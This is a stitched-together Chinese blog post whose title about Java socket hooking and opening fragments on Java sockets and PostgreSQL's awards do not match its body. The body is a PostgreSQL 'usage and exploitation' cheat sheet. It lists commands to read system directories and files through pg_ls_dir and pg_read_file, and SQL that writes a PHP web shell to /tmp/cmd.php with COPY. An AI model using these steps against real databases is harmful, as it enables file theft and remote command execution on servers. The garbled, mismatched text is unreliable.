java socket hook方式的App抓包 Java Socket 编程原理
Java Socket编程而言,有两个基本概念,另一个是ServerSocket,另一个是Socket。服务端和客户端中间根据Socket建立连结,之后它们就可以进行通信了。
回首过去的 2017 和 2018 年,PostgreSQL 两度荣膺『年度数据库』。在年度点评中,还有这样一句话:
PostgreSQL在DBMS市场中的良好地位的一个明显标志是,在大家的排名中,使用PostgreSQL作为基础技术的各种数据模型。如果此类系统在其基础之上提供了重要的DBMS功能,则将它们列为单独的条目。这些系统包括Greenplum,EnterpriseDB,TimescaleDB,Citus等。
这句话是说,其实基于 PostgreSQL 而进行进行二次开发演进的数据库很多,包括 Greenplum、EnterpriseDB、TimescaleDB、Citus 等。
相关推荐文章《Linux操作系统 7款Linux操作可视化桌面任你挑选》
事实上,因为 PostgreSQL 宽松的许可协议(BSD许可证书),在中国国产数据库的市场上,同样存在大量基于 PG 的产品,这些产品早已支持了广阔的数据库客户群体。2019年10月,PostgreSQL 的 12版本正式发布,产品版本更新迭代的速度越来越快。在 2019 数据技术嘉年华会大会上,来自 PostgreSQL 方面的主题同样丰富多彩,既有来自云供应商的数据库研发成果,新版本新特性介绍,还有来自于客户的最佳实践。
PostgreSQL 是一个自在的对象-关系数据库服务器(数据库管理系统),这篇文章对于postgresql的使用及利用做个总结备份。
root权限下修改数据库密码:
service postgresql start #启动服务
su postgres #切换到数据库用户下
psql postgres #进入数据库
alter user postgres with password ‘postgres’; #修改数据库的密码为:postgres
在其他用户权限下,使用帐号密码登入系统:
psql -h 127.0.0.1 -U postgres -W
进入数据库查看帮助信息:
help
列出数据库的用户
/du
列出系统目录列表:
select pg_ls_dir(‘/etc’);
读取系统文件:
select pg_read_file(‘postgresql.auto.conf’, 0, 200);
写文件
DROP TABLE pwn;
CREATE TABLE pwn (t TEXT);
INSERT INTO pwn(t) VALUES (‘<?php @system(“$_GET[cmd]”);?>’);
SELECT * FROM pwn;
COPY pwn(t) TO ‘/tmp/cmd.php’;
DROP TABLE pwn;
推荐相关应用:云硬盘 云硬盘备份
转载请注明:小猪云服务器租用推荐 » postgresql数据库 还会荣获年度数据库称号吗